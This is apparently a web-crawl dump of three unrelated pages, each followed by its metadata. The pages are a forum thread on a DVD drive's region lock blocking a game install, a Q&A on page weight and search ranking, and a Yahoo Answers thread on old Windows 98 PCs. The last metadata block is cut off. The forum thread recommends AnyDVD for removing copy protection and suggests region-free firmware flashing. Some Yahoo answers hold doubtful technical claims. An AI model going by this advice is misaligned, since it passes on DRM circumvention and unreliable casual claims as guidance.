Is this new drive replacing an existing drive or is it a new drive being added to your PC as an additional drive?
I have a BENQ 1650 myself and BENQ drives are one of the best drives other than a Plextor that you can buy.
I run BENQ 1650's and LG drives in all of my PC's (5) and my latest system using a BENQ 1650 has no problems at all running SH3.
It also appears that your model numbers conflict. As the page you gave reference too says its a 1648A in one part and in another part it says its a 1650 :hmm: . But what is it really?
What does the model number say on top of the actual drive? Does it also say BENQ on the front bezel panel?
And finally for the time being:
How is the drive connected? Is it connected on its own or is it connected inline with a hard drive or other CD/DVD device?
What kind of cable is used to connect the drive? The 80 wire type or the earlier 40 wire type?
CybaGirl
10-07-2006, 07:31 PM
normally when i install SH3 it does the starforce protection thingy but it doesnt do that anymore. in device manager under cdrom tab it says current 1 which is USA and im in region 2 which is UK. would this affect it? it doesnt allow me to change it though.
ive been on cd-rom drivers.com and looked under lite-on company drivers but mine doesnt seem tho be there. there is one listed as "all driver" but it seems to be a program and not a driver.
help
First of all LiteOn dont make very good DVD burners I am sorry to say. They make excellent CD burners and they are also good at reading discs. But they dont burn DVD's that well.
Where did you buy SH3 from? Is your version the US version or the European version? I live in Australia myself and I brought the US version from the USA. As I didnt want the European version of the game.
I think your problem is associated with the region settings and your drive is now locked at 1 which is USA and cannot be changed via windows settings or applications anymore :(.
There is software tools like AnyDVD in which you can change the region of the drive all the time. In fact I use this program myself and I have never used any region codes up in my hardware at all. So its still set to factory standards as not being set. As AnyDVD takes care of this for me :). In fact AnyDVD is reporting back to me that my drive is set to region 1 as I have SH3 sitting in it right at this moment. But as soon as I take the disk out. It says that there is no region set to my drive :).
From memory I think you can also get Liteon software that will allow you to change settings of the drive which also includes the ability to change regions.
Also if your drive uses a media tek chipset you can reflash the drive and then you will get back the ability to change the drives region settings again. But there is only certain brands, drives and model numbers in which you can do this. Honestly it is probably much easier for you to get AnyDVD. Especially if you dont know much about computers and flashing hardware etc.
Always bare in mind for now and the future of any computer DVD drives that you buy. If you change the DVD region settings via the actual drive itself you will only be allowed to do this five times then the drive becomes locked to that region :(. You can thank Sony for this BS!
Unless of course you use software like AnyDVD to change it for you automatically. That is why I always use AnyDVD. As I never change anything via the hardware and it always remains the same as when I first brought it.
You can get a trial of AnyDVD from the following link:
http://www.slysoft.com/en/anydvd.html
Give it a try as I am 99.9% sure it will solve your problems :).
Laffertytig
10-07-2006, 10:18 PM
but the thing is this drive has been fine up until now when i did a reinstall so why should this region stuff be an issue now?
and to cybargirl why do u think i have a "BENQ drive 1650" drive whe it doesnt match the drive i listed?
i cant install any software apart from 1 game which is footbal manager 2006 at present so im praying someonw has a solution for me
Laffertytig
10-08-2006, 02:28 PM
bumpety
CybaGirl
10-08-2006, 10:42 PM
but the thing is this drive has been fine up until now when i did a reinstall so why should this region stuff be an issue now?
and to cybargirl why do u think i have a "BENQ drive 1650" drive whe it doesnt match the drive i listed?
i cant install any software apart from 1 game which is footbal manager 2006 at present so im praying someonw has a solution for me
Ok there is some confusion on your part I think let me explain :).
First of all when I mentioned the BENQ drive that was in reference to the OP question.
I then replied to your query in my second post. So I hope you understand more clearly now :).
Now to answer your question:
If your DVD drive has become region locked then you wont be able to install the game. Because your drive is locked to that region and there is very little you can do about it. Other than installing and using a program like AnyDVD. This becomes a problem mainly for DVD movies. I never thought DVD games were region coded. But it appears that they or some are. As when I have SH3 in my DVD drive it says that my DVD drive is set to region 1. I brought my copy of SH3 from the US which is region 1 so this is why it is reporting back to me that my drive is set to region one.
However I live in Australia which is region 4. So when I play a DVD movie on my DVD drive then it switches to region 4.
Remembering all along that AnyDVD is changing the region code for me automatically and it is not being stored inside the drives firmware. Like it gets stored in the drives firmware when you use Windows to change the region setting. Also remembering that you are only allowed to change the region code 5 times when changing it via Windows. As it writes this information to the actual drive. But with ANyDVD you can change it however many times you like. As AnyDVD does not write the region code to the drive and it is all controlled by AnyDVD.
All you have to do to solve this problem is just install AnyDVD and see if it works. As I am 99.9% sure this is what your probelm is. I mean you have nothing to loose and everything to gain.
I understand that this program is not free but the thing is there is very little you can do now that your drive is regionally locked. Again this is why I always use AnyDVD as none of my drives ever get set to a particular region.
However if you dont wish to purchase this program. But still download and install it to see if it fixes your problem. There is another alternative in which you can reflash your DVD drive with a PRC1 firmware which basically is a region free firmware. But I will need to know what model your drive is for this to be done. That way if you flash your drive to a RPC1 spec drive then you never have to worry about region settings again.
Finally AnyDVD does alot more than taking care of region codes. It also removes copy protection from DVD's and audio CD's plus many other features. It is well worth having installed on your PC and it is one of the second thing I install onto my PC after a reformat.
CybaGirl
10-08-2006, 11:12 PM
Here is a couple of screen shots I made up for you. Hopefully this will explain this region code thing more clearly for you. Additionally you may like to download Nero Infotool if you dont already have it and see what your drives region is set to and also confirm wheather or not you can change the region setting anymore.
http://www.cybagirl.com/images/sh3/region-01.jpg
http://www.cybagirl.com/images/sh3/region-02.jpg
Well I hope this clears things up a little better for you.
Laffertytig
10-09-2006, 07:24 PM
right i really am at my wits end here. i changed the secondry ide channel to PIO (which ive never had to do before) and the game installs and even runs but when i try to patch (tryed both usa and europe dvd) it i get "progarm cant update file NSS uboat unknown file"
ive never had this error since buyin SH3 when it came out. ive tryed downloadin patch from ubi.com to no avail. this makes me think that because i have drive set at PIO its installing but not correctly. when i return it to DMA i get installation error "CRC cannot read cab file etc"
my drive is listed as "LITE-ON DVDRW SHM - 165P6S" ive looked at they're website and cant find any drivers for my drive. ive also checked cdromdrivers.com and my drive aint listed there either. just got the drive last month and it was fine up until i reinstalled windows
if someone could help me find it (if thats what the prob is) they would make my day as my pc's been outa commission now for almost a week and im rdy for throwing it out the window
help | {
"url": "http://www.subsim.com/radioroom/archive/index.php/t-98636.html",
"source_domain": "www.subsim.com",
"snapshot_id": "crawl=CC-MAIN-2013-48",
"warc_metadata": {
"Content-Length": "17319",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:FCPZZGYHIFWVEC4Z5MBFFUSQ26YISZEE",
"WARC-Concurrent-To": "<urn:uuid:ed601272-1dfa-4757-bade-8ae27b06962c>",
"WARC-Date": "2013-12-10T00:53:59Z",
"WARC-IP-Address": "199.19.78.115",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:SBPSNTGUZTHA3C74SLGMKIHFL4NLF6K7",
"WARC-Record-ID": "<urn:uuid:3595909c-e765-44f9-9b4e-af263fd51ac0>",
"WARC-Target-URI": "http://www.subsim.com/radioroom/archive/index.php/t-98636.html",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:36984fab-ddb6-466c-8ef8-f61227ffa8ae>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-33-133-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Winter 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
1,
5,
6,
41,
42,
43,
52,
73,
168,
169,
240,
241,
352,
353,
429,
430,
508,
509,
524,
525,
534,
555,
588,
589,
637,
638,
647,
668,
688,
697,
709,
785,
786,
795,
816,
844,
845,
853,
874,
902,
903,
911,
932,
960,
961,
1018,
1064,
1065,
1074,
1095,
1125,
1126,
1232,
1233,
1241,
1262,
1357,
1358,
1398,
1399,
1408,
1429,
1478,
1479,
1488,
1509,
1603,
1604,
1670,
1671,
1680,
1701,
1734,
1735,
1744,
1765,
1814,
1815,
1824,
1845,
1968,
1969,
2029,
2030,
2042,
2063,
2284,
2285,
2543,
2544,
2734,
2735,
2740,
2741,
2753,
2774,
2796,
2797,
2806,
2827,
2844,
2845,
2872,
2873,
2987,
2988,
3096,
3097,
3226,
3227,
3411,
3412,
3519,
3520,
3552,
3553,
3676,
3677,
3772,
3773,
3782,
3803,
4061,
4062,
4252,
4253,
4258,
4259,
4438,
4439,
4643,
4644,
4822,
4823,
5326,
5327,
5483,
5484,
5857,
5858,
6136,
6137,
6355,
6356,
6411,
6412,
6450,
6451,
6516,
6517,
6529,
6550,
6677,
6678,
6783,
6784,
6915,
6916,
6928,
6949,
6957,
6958,
6967,
6988,
7115,
7116,
7221,
7222,
7353,
7354,
7421,
7422,
7509,
7510,
7604,
7605,
7634,
7635,
8209,
8210,
8330,
8331,
8874,
8875,
9066,
9067,
9297,
9298,
9731,
9732,
9998,
9999,
10008,
10029,
10352,
10353,
10402,
10403,
10404,
10453,
10454,
10513,
10514,
10526,
10547,
10814,
10815,
11098,
11099,
11370,
11371,
11551,
11552
],
"line_end_idx": [
1,
5,
6,
41,
42,
43,
52,
73,
168,
169,
240,
241,
352,
353,
429,
430,
508,
509,
524,
525,
534,
555,
588,
589,
637,
638,
647,
668,
688,
697,
709,
785,
786,
795,
816,
844,
845,
853,
874,
902,
903,
911,
932,
960,
961,
1018,
1064,
1065,
1074,
1095,
1125,
1126,
1232,
1233,
1241,
1262,
1357,
1358,
1398,
1399,
1408,
1429,
1478,
1479,
1488,
1509,
1603,
1604,
1670,
1671,
1680,
1701,
1734,
1735,
1744,
1765,
1814,
1815,
1824,
1845,
1968,
1969,
2029,
2030,
2042,
2063,
2284,
2285,
2543,
2544,
2734,
2735,
2740,
2741,
2753,
2774,
2796,
2797,
2806,
2827,
2844,
2845,
2872,
2873,
2987,
2988,
3096,
3097,
3226,
3227,
3411,
3412,
3519,
3520,
3552,
3553,
3676,
3677,
3772,
3773,
3782,
3803,
4061,
4062,
4252,
4253,
4258,
4259,
4438,
4439,
4643,
4644,
4822,
4823,
5326,
5327,
5483,
5484,
5857,
5858,
6136,
6137,
6355,
6356,
6411,
6412,
6450,
6451,
6516,
6517,
6529,
6550,
6677,
6678,
6783,
6784,
6915,
6916,
6928,
6949,
6957,
6958,
6967,
6988,
7115,
7116,
7221,
7222,
7353,
7354,
7421,
7422,
7509,
7510,
7604,
7605,
7634,
7635,
8209,
8210,
8330,
8331,
8874,
8875,
9066,
9067,
9297,
9298,
9731,
9732,
9998,
9999,
10008,
10029,
10352,
10353,
10402,
10403,
10404,
10453,
10454,
10513,
10514,
10526,
10547,
10814,
10815,
11098,
11099,
11370,
11371,
11551,
11552,
11556
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 11556,
"ccnet_original_nlines": 213,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.44684889912605286,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05884585902094841,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1867881566286087,
"rps_doc_frac_unique_words": 0.2726424038410187,
"rps_doc_mean_word_length": 4.16900110244751,
"rps_doc_num_sentences": 154,
"rps_doc_symbol_to_word_ratio": 0.0007593000191263855,
"rps_doc_unigram_entropy": 5.523569583892822,
"rps_doc_word_count": 2142,
"rps_doc_frac_chars_dupe_10grams": 0.16976484656333923,
"rps_doc_frac_chars_dupe_5grams": 0.19708846509456635,
"rps_doc_frac_chars_dupe_6grams": 0.18812990188598633,
"rps_doc_frac_chars_dupe_7grams": 0.1805151253938675,
"rps_doc_frac_chars_dupe_8grams": 0.16976484656333923,
"rps_doc_frac_chars_dupe_9grams": 0.16976484656333923,
"rps_doc_frac_chars_top_2gram": 0.010750279761850834,
"rps_doc_frac_chars_top_3gram": 0.004927210044115782,
"rps_doc_frac_chars_top_4gram": 0.0036954099778085947,
"rps_doc_books_importance": -1272.5906982421875,
"rps_doc_books_importance_length_correction": -1272.5906982421875,
"rps_doc_openwebtext_importance": -680.0311889648438,
"rps_doc_openwebtext_importance_length_correction": -680.0311889648438,
"rps_doc_wikipedia_importance": -437.43597412109375,
"rps_doc_wikipedia_importance_length_correction": -437.43597412109375
},
"fasttext": {
"dclm": 0.025628089904785156,
"english": 0.9515589475631714,
"fineweb_edu_approx": 1.0514910221099854,
"eai_general_math": 0.26744502782821655,
"eai_open_web_math": 0.22063368558883667,
"eai_web_code": 0.19241225719451904
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.6",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-7,437,375,824,876,629,000 | 5
Does the use of heavy graphics/images (with img tag or in the CSS) effect a site's Google ranking?
Sometimes sites are heavy because of the images used or Flash or lots of JavaScript - making the loading times higher.
Does the loading time also effect a site's Google ranking?
I've mentioned Google, but the question applies to all search engines.
5
Yes, but it's not a heavily weighted parameter.
0
0
I would be more worried about the users. If load times are high than users would leave the site and we all know that search engines put a lot of weight behind user experience i.e. bounce rates, avg time spent etc so, it's very important to keep these in check!
1
• 2
The first half of your answer is good but the second half is off target. Search engines don't know bounce rate or time on site so how can they use them in their algorithms? Not to mention neither are an accurate indication of quality. – John Conde May 29 '11 at 1:04
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://webmasters.stackexchange.com/questions/14325/do-heavy-graphics-and-or-a-high-load-time-affect-a-sites-search-rankings",
"source_domain": "webmasters.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "172318",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YO757OTSC3HBQ5FI4ILMPBCBNXRX7VG2",
"WARC-Concurrent-To": "<urn:uuid:9e832c94-b7ed-45a7-a4ca-f50a5d8f2402>",
"WARC-Date": "2021-07-29T02:37:18Z",
"WARC-IP-Address": "151.101.193.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RFDSU4P57OY4SUECKORE6RMAJKY466FN",
"WARC-Record-ID": "<urn:uuid:a067df10-4daa-4f3c-a4a5-d95dd185899b>",
"WARC-Target-URI": "https://webmasters.stackexchange.com/questions/14325/do-heavy-graphics-and-or-a-high-load-time-affect-a-sites-search-rankings",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:faf96be7-0be6-40e1-9c6a-3ab413017cc4>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-216.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
3,
102,
103,
222,
223,
282,
283,
354,
355,
357,
358,
406,
407,
409,
411,
412,
673,
674,
676,
682,
953,
954,
966,
967,
1067,
1068
],
"line_end_idx": [
2,
3,
102,
103,
222,
223,
282,
283,
354,
355,
357,
358,
406,
407,
409,
411,
412,
673,
674,
676,
682,
953,
954,
966,
967,
1067,
1068,
1158
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1158,
"ccnet_original_nlines": 27,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.39763781428337097,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.011811019852757454,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.18110236525535583,
"rps_doc_frac_unique_words": 0.6619047522544861,
"rps_doc_mean_word_length": 4.27142858505249,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.736927509307861,
"rps_doc_word_count": 210,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.055741358548402786,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.043478261679410934,
"rps_doc_frac_chars_top_3gram": 0.02675585076212883,
"rps_doc_frac_chars_top_4gram": 0.04013378173112869,
"rps_doc_books_importance": -132.80386352539062,
"rps_doc_books_importance_length_correction": -132.80386352539062,
"rps_doc_openwebtext_importance": -84.36729431152344,
"rps_doc_openwebtext_importance_length_correction": -82.59972381591797,
"rps_doc_wikipedia_importance": -66.75325775146484,
"rps_doc_wikipedia_importance_length_correction": -66.75325775146484
},
"fasttext": {
"dclm": 0.5793893337249756,
"english": 0.950802206993103,
"fineweb_edu_approx": 2.039623260498047,
"eai_general_math": -0.000003929999820684316,
"eai_open_web_math": 0.06524615734815598,
"eai_web_code": -0.000009180000233754981
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.8",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-4,178,242,136,560,779,300 | is a windows 98 computer considered an antique?
how much can I get for it if I sell it at a pawn shop
10 Answers
Relevance
• 4 months ago
Items normally must be over 50 years old to be considered antique. Old computers are about as useless as Ham/CB Radio, Buggy Whips, or Coonskin Hats. So your best option is to recycle. As for the pawn shop, you might be offended when you see the looks and hear the chuckles.
• Commenter avatarLog in to reply to the answers
• 4 months ago
nothing unless they are recycling it and get the gold out.. YOU MAY if LUCKY get 5 bucks for it.
• Commenter avatarLog in to reply to the answers
• Robert
Lv 4
5 months ago
Although considered old, a lot of now-a-day music systems still use the FAT32 file system on SD cards.
• Just Wondering0001
Lv 6
4 months agoReport
https://www.amazon.com/Docooler-Notebook-44-Pin-Adapter-Converter/dp/B07KW98K27/ref=sr_1_8?keywords=ide+to+sd&qid=1582919293&sr=8-8
The IDE hardware might not support over an 8Gb SDCard though.
• Commenter avatarLog in to reply to the answers
• 5 months ago
They have no value. A win 98 computer will have a really slow IDE hard drive, and probably has 1 3.5 and 5 inch floppy drives.
These use FAT 32 for file systems which do not allow for large hard drives. Nothing in the system is usable,
• What do you think of the answers? You can sign in to give your opinion on the answer.
• Steven
Lv 4
5 months ago
No, that will not be considered antique, because most of persons still using window 98 system nowadays.
Most computers old enough to run Windows 98 are broken of were thrown away while still working because they were considered to be too slow. You might still be able to find one, but you have to look for them specifically, because you won't find them in any store.
Attachment image
• Commenter avatarLog in to reply to the answers
• 5 months ago
Hi. As these vids will demonstrate, even collectors aren't buying for more than $25or so, & the system is so old that people just create a VM of the Win98 hardware & run anything they need to on that.
So having the actual hardware is no longer necessary to run that OS.
https://www.youtube.com/results?search_query=bough...
And here's a little retro-Techie porn for You if You have some time to kill ...
https://www.youtube.com/watch?v=rvM82T3C2Ik
Youtube thumbnail
G'Luck!!!
• Commenter avatarLog in to reply to the answers
• Zirp
Lv 7
5 months ago
Windows 98 is not a type of computer, it's an outdated operating-system.
A computer designed for windows 98 isn't worth anything nowadays
• Just Wondering0001
Lv 6
4 months agoReport
Actually, "isn't worth anything" is variable to the next potential owner, & a good salesperson can make anything useful. That system would be perfect for someone teaching a young teen how to become a Techie from the ground up with MS-DOS just like they did. And the free games available - WOW!!!
• Commenter avatarLog in to reply to the answers
• Dick
Lv 7
5 months ago
By law, an antique is an item that's at least 100 years old. A collectible is just about anything that people collect. The age of a collectible is not important, except if an item is labeled a vintage collectible. A vintage collectible is an item that is at least 50 years old.
• Just Wondering0001
Lv 6
5 months agoReport
In My state vehicles that are 25 years old can qualify as an antique.
• Commenter avatarLog in to reply to the answers
• 5 months ago
i would call a pawnshop and ask them about it
• Just Wondering0001
Lv 6
4 months agoReport
Especially if it's a desktop system, a laptop You could just take there anyway.
But a desktop requires an EGA (CRT) monitor & a PS/2 (or even an AT-connector) keyboard & mouse. Most pawn shopos won't have those on-hand for daily use.
• Commenter avatarLog in to reply to the answers
• 5 months ago
You would need to hang on to this computer for a long long time before it's regarded to be an antique. On top of that, supply versus demand plays a critical part in how much the computer would be worth. If enough people keep them for an extended time period, then it still won't be worth much in 50 years.
If it's still working by then, that will increase the value of your computer.
If you choose to store it for a few decades, then I recommend you wrap it in multiple layers of plastic so it's not impinged with additional dust. At startup, dust can create a track that short-circuits the computer, so it's not what you want inside your investment.
Most people will send their old electronics to the recycler or rubbish tip. I'd say that's probably what you will do too.
If you choose to sell it now, someone might pay you $1.
More effort than it's worth I should think.
Hence either dump it or keep it for an extended period of time are your best options.
By the way, if you do choose to keep it, then it's best to clean it out now before wrapping in plastic. You need to do this carefully though, so the circuitry isn't damaged.
• ...Show all comments
• Just Wondering0001
Lv 6
4 months agoReport
Agreed Steve, I'd also say to keep a spare brand new CMOS battery with it too, but You COULD jump out those connectors into a different size battery of the same voltage / amps if necessary if You absolutely had to for a good profit.
• Commenter avatarLog in to reply to the answers
Still have questions? Get answers by asking now. | {
"url": "https://au.answers.yahoo.com/question/index?qid=20200216020954AAEN7DH",
"source_domain": "au.answers.yahoo.com",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "158994",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SL3YFPGEP2OM2UQMP4VXG54MNYGIZDSW",
"WARC-Concurrent-To": "<urn:uuid:1c8b53ed-17dc-4031-8280-0f6081a7e3e3>",
"WARC-Date": "2020-07-12T01:06:28Z",
"WARC-IP-Address": "76.13.32.153",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:AVVA62HEVMXSJHH5JAPRLDFDQGWKXHZ4",
"WARC-Record-ID": "<urn:uuid:bfcd8c1a-756d-4cf3-9635-edfd5431dcd3>",
"WARC-Target-URI": "https://au.answers.yahoo.com/question/index?qid=20200216020954AAEN7DH",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:96ac8699-3484-4e8f-88ec-21f344792ee8>"
},
"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-198.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
48,
49,
103,
104,
115,
116,
126,
143,
144,
424,
425,
478,
495,
496,
597,
598,
651,
662,
671,
688,
689,
796,
797,
822,
833,
858,
859,
997,
998,
999,
1068,
1069,
1122,
1139,
1140,
1272,
1273,
1387,
1388,
1478,
1489,
1498,
1515,
1516,
1625,
1626,
1893,
1894,
1915,
1968,
1985,
1986,
2194,
2195,
2271,
2272,
2330,
2331,
2418,
2419,
2467,
2468,
2490,
2491,
2497,
2498,
2521,
2522,
2575,
2584,
2593,
2610,
2611,
2688,
2689,
2758,
2759,
2784,
2795,
2820,
2821,
3123,
3124,
3177,
3186,
3195,
3212,
3213,
3495,
3496,
3521,
3532,
3557,
3558,
3634,
3635,
3688,
3705,
3706,
3756,
3757,
3782,
3793,
3818,
3819,
3905,
4065,
4066,
4119,
4136,
4137,
4447,
4448,
4530,
4531,
4802,
4803,
4930,
4931,
4991,
4992,
5040,
5041,
5131,
5132,
5310,
5311,
5338,
5363,
5374,
5399,
5400,
5639,
5640,
5693
],
"line_end_idx": [
48,
49,
103,
104,
115,
116,
126,
143,
144,
424,
425,
478,
495,
496,
597,
598,
651,
662,
671,
688,
689,
796,
797,
822,
833,
858,
859,
997,
998,
999,
1068,
1069,
1122,
1139,
1140,
1272,
1273,
1387,
1388,
1478,
1489,
1498,
1515,
1516,
1625,
1626,
1893,
1894,
1915,
1968,
1985,
1986,
2194,
2195,
2271,
2272,
2330,
2331,
2418,
2419,
2467,
2468,
2490,
2491,
2497,
2498,
2521,
2522,
2575,
2584,
2593,
2610,
2611,
2688,
2689,
2758,
2759,
2784,
2795,
2820,
2821,
3123,
3124,
3177,
3186,
3195,
3212,
3213,
3495,
3496,
3521,
3532,
3557,
3558,
3634,
3635,
3688,
3705,
3706,
3756,
3757,
3782,
3793,
3818,
3819,
3905,
4065,
4066,
4119,
4136,
4137,
4447,
4448,
4530,
4531,
4802,
4803,
4930,
4931,
4991,
4992,
5040,
5041,
5131,
5132,
5310,
5311,
5338,
5363,
5374,
5399,
5400,
5639,
5640,
5693,
5741
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5741,
"ccnet_original_nlines": 135,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 2,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41694632172584534,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026845639571547508,
"rps_doc_frac_lines_end_with_ellipsis": 0.014705879613757133,
"rps_doc_frac_no_alph_words": 0.19882549345493317,
"rps_doc_frac_unique_words": 0.36863967776298523,
"rps_doc_mean_word_length": 4.342679023742676,
"rps_doc_num_sentences": 61,
"rps_doc_symbol_to_word_ratio": 0.00251678004860878,
"rps_doc_unigram_entropy": 5.2635955810546875,
"rps_doc_word_count": 963,
"rps_doc_frac_chars_dupe_10grams": 0.08799616992473602,
"rps_doc_frac_chars_dupe_5grams": 0.15040649473667145,
"rps_doc_frac_chars_dupe_6grams": 0.13295073807239532,
"rps_doc_frac_chars_dupe_7grams": 0.13295073807239532,
"rps_doc_frac_chars_dupe_8grams": 0.13295073807239532,
"rps_doc_frac_chars_dupe_9grams": 0.09756097942590714,
"rps_doc_frac_chars_top_2gram": 0.013151600025594234,
"rps_doc_frac_chars_top_3gram": 0.04088953137397766,
"rps_doc_frac_chars_top_4gram": 0.045193690806627274,
"rps_doc_books_importance": -589.221435546875,
"rps_doc_books_importance_length_correction": -589.221435546875,
"rps_doc_openwebtext_importance": -276.7569274902344,
"rps_doc_openwebtext_importance_length_correction": -276.7569274902344,
"rps_doc_wikipedia_importance": -225.2695770263672,
"rps_doc_wikipedia_importance_length_correction": -225.2695770263672
},
"fasttext": {
"dclm": 0.09721087664365768,
"english": 0.9404579997062683,
"fineweb_edu_approx": 1.4273017644882202,
"eai_general_math": 0.09226077795028687,
"eai_open_web_math": 0.20813900232315063,
"eai_web_code": 0.00008643000182928517
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "338.92",
"labels": {
"level_1": "Social sciences",
"level_2": "Economics",
"level_3": "Industries, Prices, and Microeconomics"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
